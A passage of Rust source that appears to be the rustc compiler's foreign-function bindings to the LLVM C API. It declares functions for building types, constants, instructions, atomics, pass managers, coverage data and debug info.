pub fn LLVMStructTypeInContext<'a>(
C: &'a Context,
ElementTypes: *const &'a Type,
ElementCount: c_uint,
Packed: Bool,
) -> &'a Type;
// Operations on array, pointer, and vector types (sequence types)
pub fn LLVMRustArrayType(ElementType: &Type, ElementCount: u64) -> &Type;
pub fn LLVMPointerType(ElementType: &Type, AddressSpace: c_uint) -> &Type;
pub fn LLVMVectorType(ElementType: &Type, ElementCount: c_uint) -> &Type;
pub fn LLVMGetElementType(Ty: &Type) -> &Type;
pub fn LLVMGetVectorSize(VectorTy: &Type) -> c_uint;
// Operations on other types
pub fn LLVMVoidTypeInContext(C: &Context) -> &Type;
pub fn LLVMRustMetadataTypeInContext(C: &Context) -> &Type;
// Operations on all values
pub fn LLVMTypeOf(Val: &Value) -> &Type;
pub fn LLVMGetValueName2(Val: &Value, Length: *mut size_t) -> *const c_char;
pub fn LLVMSetValueName2(Val: &Value, Name: *const c_char, NameLen: size_t);
pub fn LLVMReplaceAllUsesWith<'a>(OldVal: &'a Value, NewVal: &'a Value);
pub fn LLVMSetMetadata<'a>(Val: &'a Value, KindID: c_uint, Node: &'a Value);
pub fn LLVMGlobalSetMetadata<'a>(Val: &'a Value, KindID: c_uint, Metadata: &'a Metadata);
pub fn LLVMValueAsMetadata(Node: &Value) -> &Metadata;
// Operations on constants of any type
pub fn LLVMConstNull(Ty: &Type) -> &Value;
pub fn LLVMGetUndef(Ty: &Type) -> &Value;
// Operations on metadata
pub fn LLVMMDStringInContext(C: &Context, Str: *const c_char, SLen: c_uint) -> &Value;
pub fn LLVMMDNodeInContext<'a>(
C: &'a Context,
Vals: *const &'a Value,
Count: c_uint,
) -> &'a Value;
pub fn LLVMAddNamedMetadataOperand<'a>(M: &'a Module, Name: *const c_char, Val: &'a Value);
// Operations on scalar constants
pub fn LLVMConstInt(IntTy: &Type, N: c_ulonglong, SignExtend: Bool) -> &Value;
pub fn LLVMConstIntOfArbitraryPrecision(IntTy: &Type, Wn: c_uint, Ws: *const u64) -> &Value;
pub fn LLVMConstReal(RealTy: &Type, N: f64) -> &Value;
pub fn LLVMConstIntGetZExtValue(ConstantVal: &ConstantInt) -> c_ulonglong;
pub fn LLVMRustConstInt128Get(
ConstantVal: &ConstantInt,
SExt: bool,
high: &mut u64,
low: &mut u64,
) -> bool;
// Operations on composite constants
pub fn LLVMConstStringInContext(
C: &Context,
Str: *const c_char,
Length: c_uint,
DontNullTerminate: Bool,
) -> &Value;
pub fn LLVMConstStructInContext<'a>(
C: &'a Context,
ConstantVals: *const &'a Value,
Count: c_uint,
Packed: Bool,
) -> &'a Value;
pub fn LLVMConstArray<'a>(
ElementTy: &'a Type,
ConstantVals: *const &'a Value,
Length: c_uint,
) -> &'a Value;
pub fn LLVMConstVector(ScalarConstantVals: *const &Value, Size: c_uint) -> &Value;
// Constant expressions
pub fn LLVMRustConstInBoundsGEP2<'a>(
ty: &'a Type,
ConstantVal: &'a Value,
ConstantIndices: *const &'a Value,
NumIndices: c_uint,
) -> &'a Value;
pub fn LLVMConstZExt<'a>(ConstantVal: &'a Value, ToType: &'a Type) -> &'a Value;
pub fn LLVMConstPtrToInt<'a>(ConstantVal: &'a Value, ToType: &'a Type) -> &'a Value;
pub fn LLVMConstIntToPtr<'a>(ConstantVal: &'a Value, ToType: &'a Type) -> &'a Value;
pub fn LLVMConstBitCast<'a>(ConstantVal: &'a Value, ToType: &'a Type) -> &'a Value;
pub fn LLVMConstPointerCast<'a>(ConstantVal: &'a Value, ToType: &'a Type) -> &'a Value;
pub fn LLVMConstExtractValue(
AggConstant: &Value,
IdxList: *const c_uint,
NumIdx: c_uint,
) -> &Value;
// Operations on global variables, functions, and aliases (globals)
pub fn LLVMIsDeclaration(Global: &Value) -> Bool;
pub fn LLVMRustGetLinkage(Global: &Value) -> Linkage;
pub fn LLVMRustSetLinkage(Global: &Value, RustLinkage: Linkage);
pub fn LLVMSetSection(Global: &Value, Section: *const c_char);
pub fn LLVMRustGetVisibility(Global: &Value) -> Visibility;
pub fn LLVMRustSetVisibility(Global: &Value, Viz: Visibility);
pub fn LLVMRustSetDSOLocal(Global: &Value, is_dso_local: bool);
pub fn LLVMGetAlignment(Global: &Value) -> c_uint;
pub fn LLVMSetAlignment(Global: &Value, Bytes: c_uint);
pub fn LLVMSetDLLStorageClass(V: &Value, C: DLLStorageClass);
// Operations on global variables
pub fn LLVMIsAGlobalVariable(GlobalVar: &Value) -> Option<&Value>;
pub fn LLVMAddGlobal<'a>(M: &'a Module, Ty: &'a Type, Name: *const c_char) -> &'a Value;
pub fn LLVMGetNamedGlobal(M: &Module, Name: *const c_char) -> Option<&Value>;
pub fn LLVMRustGetOrInsertGlobal<'a>(
M: &'a Module,
Name: *const c_char,
NameLen: size_t,
T: &'a Type,
) -> &'a Value;
pub fn LLVMRustInsertPrivateGlobal<'a>(M: &'a Module, T: &'a Type) -> &'a Value;
pub fn LLVMGetFirstGlobal(M: &Module) -> Option<&Value>;
pub fn LLVMGetNextGlobal(GlobalVar: &Value) -> Option<&Value>;
pub fn LLVMDeleteGlobal(GlobalVar: &Value);
pub fn LLVMGetInitializer(GlobalVar: &Value) -> Option<&Value>;
pub fn LLVMSetInitializer<'a>(GlobalVar: &'a Value, ConstantVal: &'a Value);
pub fn LLVMIsThreadLocal(GlobalVar: &Value) -> Bool;
pub fn LLVMSetThreadLocal(GlobalVar: &Value, IsThreadLocal: Bool);
pub fn LLVMSetThreadLocalMode(GlobalVar: &Value, Mode: ThreadLocalMode);
pub fn LLVMIsGlobalConstant(GlobalVar: &Value) -> Bool;
pub fn LLVMSetGlobalConstant(GlobalVar: &Value, IsConstant: Bool);
pub fn LLVMRustGetNamedValue(
M: &Module,
Name: *const c_char,
NameLen: size_t,
) -> Option<&Value>;
pub fn LLVMSetTailCall(CallInst: &Value, IsTailCall: Bool);
// Operations on attributes
pub fn LLVMRustCreateAttrNoValue(C: &Context, attr: AttributeKind) -> &Attribute;
pub fn LLVMRustCreateAttrString(C: &Context, Name: *const c_char) -> &Attribute;
pub fn LLVMRustCreateAttrStringValue(
C: &Context,
Name: *const c_char,
Value: *const c_char,
) -> &Attribute;
pub fn LLVMRustCreateAlignmentAttr(C: &Context, bytes: u64) -> &Attribute;
pub fn LLVMRustCreateDereferenceableAttr(C: &Context, bytes: u64) -> &Attribute;
pub fn LLVMRustCreateDereferenceableOrNullAttr(C: &Context, bytes: u64) -> &Attribute;
pub fn LLVMRustCreateByValAttr<'a>(C: &'a Context, ty: &'a Type) -> &'a Attribute;
pub fn LLVMRustCreateStructRetAttr<'a>(C: &'a Context, ty: &'a Type) -> &'a Attribute;
pub fn LLVMRustCreateUWTableAttr(C: &Context, async_: bool) -> &Attribute;
// Operations on functions
pub fn LLVMRustGetOrInsertFunction<'a>(
M: &'a Module,
Name: *const c_char,
NameLen: size_t,
FunctionTy: &'a Type,
) -> &'a Value;
pub fn LLVMSetFunctionCallConv(Fn: &Value, CC: c_uint);
pub fn LLVMRustAddFunctionAttributes<'a>(
Fn: &'a Value,
index: c_uint,
Attrs: *const &'a Attribute,
AttrsLen: size_t,
);
pub fn LLVMRustRemoveFunctionAttributes(
Fn: &Value,
index: c_uint,
Attrs: *const AttributeKind,
AttrsLen: size_t,
);
// Operations on parameters
pub fn LLVMIsAArgument(Val: &Value) -> Option<&Value>;
pub fn LLVMCountParams(Fn: &Value) -> c_uint;
pub fn LLVMGetParam(Fn: &Value, Index: c_uint) -> &Value;
// Operations on basic blocks
pub fn LLVMGetBasicBlockParent(BB: &BasicBlock) -> &Value;
pub fn LLVMAppendBasicBlockInContext<'a>(
C: &'a Context,
Fn: &'a Value,
Name: *const c_char,
) -> &'a BasicBlock;
// Operations on instructions
pub fn LLVMIsAInstruction(Val: &Value) -> Option<&Value>;
pub fn LLVMGetFirstBasicBlock(Fn: &Value) -> &BasicBlock;
// Operations on call sites
pub fn LLVMSetInstructionCallConv(Instr: &Value, CC: c_uint);
pub fn LLVMRustAddCallSiteAttributes<'a>(
Instr: &'a Value,
index: c_uint,
Attrs: *const &'a Attribute,
AttrsLen: size_t,
);
// Operations on load/store instructions (only)
pub fn LLVMSetVolatile(MemoryAccessInst: &Value, volatile: Bool);
// Operations on phi nodes
pub fn LLVMAddIncoming<'a>(
PhiNode: &'a Value,
IncomingValues: *const &'a Value,
IncomingBlocks: *const &'a BasicBlock,
Count: c_uint,
);
// Instruction builders
pub fn LLVMCreateBuilderInContext(C: &Context) -> &mut Builder<'_>;
pub fn LLVMPositionBuilderAtEnd<'a>(Builder: &Builder<'a>, Block: &'a BasicBlock);
pub fn LLVMGetInsertBlock<'a>(Builder: &Builder<'a>) -> &'a BasicBlock;
pub fn LLVMDisposeBuilder<'a>(Builder: &'a mut Builder<'a>);
// Metadata
pub fn LLVMSetCurrentDebugLocation<'a>(Builder: &Builder<'a>, L: &'a Value);
// Terminators
pub fn LLVMBuildRetVoid<'a>(B: &Builder<'a>) -> &'a Value;
pub fn LLVMBuildRet<'a>(B: &Builder<'a>, V: &'a Value) -> &'a Value;
pub fn LLVMBuildBr<'a>(B: &Builder<'a>, Dest: &'a BasicBlock) -> &'a Value;
pub fn LLVMBuildCondBr<'a>(
B: &Builder<'a>,
If: &'a Value,
Then: &'a BasicBlock,
Else: &'a BasicBlock,
) -> &'a Value;
pub fn LLVMBuildSwitch<'a>(
B: &Builder<'a>,
V: &'a Value,
Else: &'a BasicBlock,
NumCases: c_uint,
) -> &'a Value;
pub fn LLVMRustBuildInvoke<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Fn: &'a Value,
Args: *const &'a Value,
NumArgs: c_uint,
Then: &'a BasicBlock,
Catch: &'a BasicBlock,
Bundle: Option<&OperandBundleDef<'a>>,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildLandingPad<'a>(
B: &Builder<'a>,
Ty: &'a Type,
PersFn: Option<&'a Value>,
NumClauses: c_uint,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildResume<'a>(B: &Builder<'a>, Exn: &'a Value) -> &'a Value;
pub fn LLVMBuildUnreachable<'a>(B: &Builder<'a>) -> &'a Value;
pub fn LLVMRustBuildCleanupPad<'a>(
B: &Builder<'a>,
ParentPad: Option<&'a Value>,
ArgCnt: c_uint,
Args: *const &'a Value,
Name: *const c_char,
) -> Option<&'a Value>;
pub fn LLVMRustBuildCleanupRet<'a>(
B: &Builder<'a>,
CleanupPad: &'a Value,
UnwindBB: Option<&'a BasicBlock>,
) -> Option<&'a Value>;
pub fn LLVMRustBuildCatchPad<'a>(
B: &Builder<'a>,
ParentPad: &'a Value,
ArgCnt: c_uint,
Args: *const &'a Value,
Name: *const c_char,
) -> Option<&'a Value>;
pub fn LLVMRustBuildCatchRet<'a>(
B: &Builder<'a>,
Pad: &'a Value,
BB: &'a BasicBlock,
) -> Option<&'a Value>;
pub fn LLVMRustBuildCatchSwitch<'a>(
Builder: &Builder<'a>,
ParentPad: Option<&'a Value>,
BB: Option<&'a BasicBlock>,
NumHandlers: c_uint,
Name: *const c_char,
) -> Option<&'a Value>;
pub fn LLVMRustAddHandler<'a>(CatchSwitch: &'a Value, Handler: &'a BasicBlock);
pub fn LLVMSetPersonalityFn<'a>(Func: &'a Value, Pers: &'a Value);
// Add a case to the switch instruction
pub fn LLVMAddCase<'a>(Switch: &'a Value, OnVal: &'a Value, Dest: &'a BasicBlock);
// Add a clause to the landing pad instruction
pub fn LLVMAddClause<'a>(LandingPad: &'a Value, ClauseVal: &'a Value);
// Set the cleanup on a landing pad instruction
pub fn LLVMSetCleanup(LandingPad: &Value, Val: Bool);
// Arithmetic
pub fn LLVMBuildAdd<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFAdd<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildSub<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFSub<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildMul<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFMul<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildUDiv<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildExactUDiv<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildSDiv<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildExactSDiv<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFDiv<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildURem<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildSRem<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFRem<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildShl<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildLShr<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildAShr<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNSWAdd<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNUWAdd<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNSWSub<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNUWSub<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNSWMul<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNUWMul<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildAnd<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildOr<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildXor<'a>(
B: &Builder<'a>,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildNeg<'a>(B: &Builder<'a>, V: &'a Value, Name: *const c_char) -> &'a Value;
pub fn LLVMBuildFNeg<'a>(B: &Builder<'a>, V: &'a Value, Name: *const c_char) -> &'a Value;
pub fn LLVMBuildNot<'a>(B: &Builder<'a>, V: &'a Value, Name: *const c_char) -> &'a Value;
pub fn LLVMRustSetFastMath(Instr: &Value);
// Memory
pub fn LLVMBuildAlloca<'a>(B: &Builder<'a>, Ty: &'a Type, Name: *const c_char) -> &'a Value;
pub fn LLVMBuildArrayAlloca<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Val: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildLoad2<'a>(
B: &Builder<'a>,
Ty: &'a Type,
PointerVal: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildStore<'a>(B: &Builder<'a>, Val: &'a Value, Ptr: &'a Value) -> &'a Value;
pub fn LLVMBuildGEP2<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Pointer: &'a Value,
Indices: *const &'a Value,
NumIndices: c_uint,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildInBoundsGEP2<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Pointer: &'a Value,
Indices: *const &'a Value,
NumIndices: c_uint,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildStructGEP2<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Pointer: &'a Value,
Idx: c_uint,
Name: *const c_char,
) -> &'a Value;
// Casts
pub fn LLVMBuildTrunc<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildZExt<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildSExt<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFPToUI<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFPToSI<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildUIToFP<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildSIToFP<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFPTrunc<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFPExt<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildPtrToInt<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildIntToPtr<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildBitCast<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildPointerCast<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMRustBuildIntCast<'a>(
B: &Builder<'a>,
Val: &'a Value,
DestTy: &'a Type,
IsSized: bool,
) -> &'a Value;
// Comparisons
pub fn LLVMBuildICmp<'a>(
B: &Builder<'a>,
Op: c_uint,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildFCmp<'a>(
B: &Builder<'a>,
Op: c_uint,
LHS: &'a Value,
RHS: &'a Value,
Name: *const c_char,
) -> &'a Value;
// Miscellaneous instructions
pub fn LLVMBuildPhi<'a>(B: &Builder<'a>, Ty: &'a Type, Name: *const c_char) -> &'a Value;
pub fn LLVMRustGetInstrProfIncrementIntrinsic(M: &Module) -> &Value;
pub fn LLVMRustBuildCall<'a>(
B: &Builder<'a>,
Ty: &'a Type,
Fn: &'a Value,
Args: *const &'a Value,
NumArgs: c_uint,
Bundle: Option<&OperandBundleDef<'a>>,
) -> &'a Value;
pub fn LLVMRustBuildMemCpy<'a>(
B: &Builder<'a>,
Dst: &'a Value,
DstAlign: c_uint,
Src: &'a Value,
SrcAlign: c_uint,
Size: &'a Value,
IsVolatile: bool,
) -> &'a Value;
pub fn LLVMRustBuildMemMove<'a>(
B: &Builder<'a>,
Dst: &'a Value,
DstAlign: c_uint,
Src: &'a Value,
SrcAlign: c_uint,
Size: &'a Value,
IsVolatile: bool,
) -> &'a Value;
pub fn LLVMRustBuildMemSet<'a>(
B: &Builder<'a>,
Dst: &'a Value,
DstAlign: c_uint,
Val: &'a Value,
Size: &'a Value,
IsVolatile: bool,
) -> &'a Value;
pub fn LLVMBuildSelect<'a>(
B: &Builder<'a>,
If: &'a Value,
Then: &'a Value,
Else: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildVAArg<'a>(
B: &Builder<'a>,
list: &'a Value,
Ty: &'a Type,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildExtractElement<'a>(
B: &Builder<'a>,
VecVal: &'a Value,
Index: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildInsertElement<'a>(
B: &Builder<'a>,
VecVal: &'a Value,
EltVal: &'a Value,
Index: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildShuffleVector<'a>(
B: &Builder<'a>,
V1: &'a Value,
V2: &'a Value,
Mask: &'a Value,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildExtractValue<'a>(
B: &Builder<'a>,
AggVal: &'a Value,
Index: c_uint,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMBuildInsertValue<'a>(
B: &Builder<'a>,
AggVal: &'a Value,
EltVal: &'a Value,
Index: c_uint,
Name: *const c_char,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceFAdd<'a>(
B: &Builder<'a>,
Acc: &'a Value,
Src: &'a Value,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceFMul<'a>(
B: &Builder<'a>,
Acc: &'a Value,
Src: &'a Value,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceAdd<'a>(B: &Builder<'a>, Src: &'a Value) -> &'a Value;
pub fn LLVMRustBuildVectorReduceMul<'a>(B: &Builder<'a>, Src: &'a Value) -> &'a Value;
pub fn LLVMRustBuildVectorReduceAnd<'a>(B: &Builder<'a>, Src: &'a Value) -> &'a Value;
pub fn LLVMRustBuildVectorReduceOr<'a>(B: &Builder<'a>, Src: &'a Value) -> &'a Value;
pub fn LLVMRustBuildVectorReduceXor<'a>(B: &Builder<'a>, Src: &'a Value) -> &'a Value;
pub fn LLVMRustBuildVectorReduceMin<'a>(
B: &Builder<'a>,
Src: &'a Value,
IsSigned: bool,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceMax<'a>(
B: &Builder<'a>,
Src: &'a Value,
IsSigned: bool,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceFMin<'a>(
B: &Builder<'a>,
Src: &'a Value,
IsNaN: bool,
) -> &'a Value;
pub fn LLVMRustBuildVectorReduceFMax<'a>(
B: &Builder<'a>,
Src: &'a Value,
IsNaN: bool,
) -> &'a Value;
pub fn LLVMRustBuildMinNum<'a>(B: &Builder<'a>, LHS: &'a Value, LHS: &'a Value) -> &'a Value;
pub fn LLVMRustBuildMaxNum<'a>(B: &Builder<'a>, LHS: &'a Value, LHS: &'a Value) -> &'a Value;
// Atomic Operations
pub fn LLVMRustBuildAtomicLoad<'a>(
B: &Builder<'a>,
ElementType: &'a Type,
PointerVal: &'a Value,
Name: *const c_char,
Order: AtomicOrdering,
) -> &'a Value;
pub fn LLVMRustBuildAtomicStore<'a>(
B: &Builder<'a>,
Val: &'a Value,
Ptr: &'a Value,
Order: AtomicOrdering,
) -> &'a Value;
pub fn LLVMRustBuildAtomicCmpXchg<'a>(
B: &Builder<'a>,
LHS: &'a Value,
CMP: &'a Value,
RHS: &'a Value,
Order: AtomicOrdering,
FailureOrder: AtomicOrdering,
Weak: Bool,
) -> &'a Value;
pub fn LLVMBuildAtomicRMW<'a>(
B: &Builder<'a>,
Op: AtomicRmwBinOp,
LHS: &'a Value,
RHS: &'a Value,
Order: AtomicOrdering,
SingleThreaded: Bool,
) -> &'a Value;
pub fn LLVMRustBuildAtomicFence(
B: &Builder<'_>,
Order: AtomicOrdering,
Scope: SynchronizationScope,
);
/// Writes a module to the specified path. Returns 0 on success.
pub fn LLVMWriteBitcodeToFile(M: &Module, Path: *const c_char) -> c_int;
/// Creates a pass manager.
pub fn LLVMCreatePassManager<'a>() -> &'a mut PassManager<'a>;
/// Creates a function-by-function pass manager
pub fn LLVMCreateFunctionPassManagerForModule(M: &Module) -> &mut PassManager<'_>;
/// Disposes a pass manager.
pub fn LLVMDisposePassManager<'a>(PM: &'a mut PassManager<'a>);
/// Runs a pass manager on a module.
pub fn LLVMRunPassManager<'a>(PM: &PassManager<'a>, M: &'a Module) -> Bool;
pub fn LLVMInitializePasses();
pub fn LLVMTimeTraceProfilerInitialize();
pub fn LLVMTimeTraceProfilerFinishThread();
pub fn LLVMTimeTraceProfilerFinish(FileName: *const c_char);
pub fn LLVMAddAnalysisPasses<'a>(T: &'a TargetMachine, PM: &PassManager<'a>);
pub fn LLVMPassManagerBuilderCreate() -> &'static mut PassManagerBuilder;
pub fn LLVMPassManagerBuilderDispose(PMB: &'static mut PassManagerBuilder);
pub fn LLVMPassManagerBuilderSetSizeLevel(PMB: &PassManagerBuilder, Value: Bool);
pub fn LLVMPassManagerBuilderSetDisableUnrollLoops(PMB: &PassManagerBuilder, Value: Bool);
pub fn LLVMPassManagerBuilderUseInlinerWithThreshold(
PMB: &PassManagerBuilder,
threshold: c_uint,
);
pub fn LLVMPassManagerBuilderPopulateModulePassManager(
PMB: &PassManagerBuilder,
PM: &PassManager<'_>,
);
pub fn LLVMPassManagerBuilderPopulateFunctionPassManager(
PMB: &PassManagerBuilder,
PM: &PassManager<'_>,
);
pub fn LLVMPassManagerBuilderPopulateLTOPassManager(
PMB: &PassManagerBuilder,
PM: &PassManager<'_>,
Internalize: Bool,
RunInliner: Bool,
);
pub fn LLVMRustPassManagerBuilderPopulateThinLTOPassManager(
PMB: &PassManagerBuilder,
PM: &PassManager<'_>,
);
pub fn LLVMGetHostCPUFeatures() -> *mut c_char;
pub fn LLVMDisposeMessage(message: *mut c_char);
pub fn LLVMIsMultithreaded() -> Bool;
/// Returns a string describing the last error caused by an LLVMRust* call.
pub fn LLVMRustGetLastError() -> *const c_char;
/// Print the pass timings since static dtors aren't picking them up.
pub fn LLVMRustPrintPassTimings();
pub fn LLVMStructCreateNamed(C: &Context, Name: *const c_char) -> &Type;
pub fn LLVMStructSetBody<'a>(
StructTy: &'a Type,
ElementTypes: *const &'a Type,
ElementCount: c_uint,
Packed: Bool,
);
/// Prepares inline assembly.
pub fn LLVMRustInlineAsm(
Ty: &Type,
AsmString: *const c_char,
AsmStringLen: size_t,
Constraints: *const c_char,
ConstraintsLen: size_t,
SideEffects: Bool,
AlignStack: Bool,
Dialect: AsmDialect,
CanThrow: Bool,
) -> &Value;
pub fn LLVMRustInlineAsmVerify(
Ty: &Type,
Constraints: *const c_char,
ConstraintsLen: size_t,
) -> bool;
#[allow(improper_ctypes)]
pub fn LLVMRustCoverageWriteFilenamesSectionToBuffer(
Filenames: *const *const c_char,
FilenamesLen: size_t,
BufferOut: &RustString,
);
#[allow(improper_ctypes)]
pub fn LLVMRustCoverageWriteMappingToBuffer(
VirtualFileMappingIDs: *const c_uint,
NumVirtualFileMappingIDs: c_uint,
Expressions: *const coverage_map::CounterExpression,
NumExpressions: c_uint,
MappingRegions: *const coverageinfo::CounterMappingRegion,
NumMappingRegions: c_uint,
BufferOut: &RustString,
);
pub fn LLVMRustCoverageCreatePGOFuncNameVar(F: &Value, FuncName: *const c_char) -> &Value;
pub fn LLVMRustCoverageHashCString(StrVal: *const c_char) -> u64;
pub fn LLVMRustCoverageHashByteArray(Bytes: *const c_char, NumBytes: size_t) -> u64;
#[allow(improper_ctypes)]
pub fn LLVMRustCoverageWriteMapSectionNameToString(M: &Module, Str: &RustString);
#[allow(improper_ctypes)]
pub fn LLVMRustCoverageWriteFuncSectionNameToString(M: &Module, Str: &RustString);
#[allow(improper_ctypes)]
pub fn LLVMRustCoverageWriteMappingVarNameToString(Str: &RustString);
pub fn LLVMRustCoverageMappingVersion() -> u32;
pub fn LLVMRustDebugMetadataVersion() -> u32;
pub fn LLVMRustVersionMajor() -> u32;
pub fn LLVMRustVersionMinor() -> u32;
pub fn LLVMRustVersionPatch() -> u32;
pub fn LLVMRustIsRustLLVM() -> bool;
/// Add LLVM module flags.
///
/// In order for Rust-C LTO to work, module flags must be compatible with Clang. What
/// "compatible" means depends on the merge behaviors involved.
pub fn LLVMRustAddModuleFlag(
M: &Module,
merge_behavior: LLVMModFlagBehavior,
name: *const c_char,
value: u32,
);
pub fn LLVMRustMetadataAsValue<'a>(C: &'a Context, MD: &'a Metadata) -> &'a Value;
pub fn LLVMRustDIBuilderCreate(M: &Module) -> &mut DIBuilder<'_>;
pub fn LLVMRustDIBuilderDispose<'a>(Builder: &'a mut DIBuilder<'a>);
pub fn LLVMRustDIBuilderFinalize(Builder: &DIBuilder<'_>);
pub fn LLVMRustDIBuilderCreateCompileUnit<'a>(
Builder: &DIBuilder<'a>,
Lang: c_uint,
File: &'a DIFile,
Producer: *const c_char,
ProducerLen: size_t,
isOptimized: bool,
Flags: *const c_char,
RuntimeVer: c_uint,
SplitName: *const c_char,
SplitNameLen: size_t,
kind: DebugEmissionKind,
DWOId: u64,
SplitDebugInlining: bool,
) -> &'a DIDescriptor;
pub fn LLVMRustDIBuilderCreateFile<'a>(
Builder: &DIBuilder<'a>,
Filename: *const c_char,
FilenameLen: size_t,
Directory: *const c_char,
DirectoryLen: size_t,
CSKind: ChecksumKind,
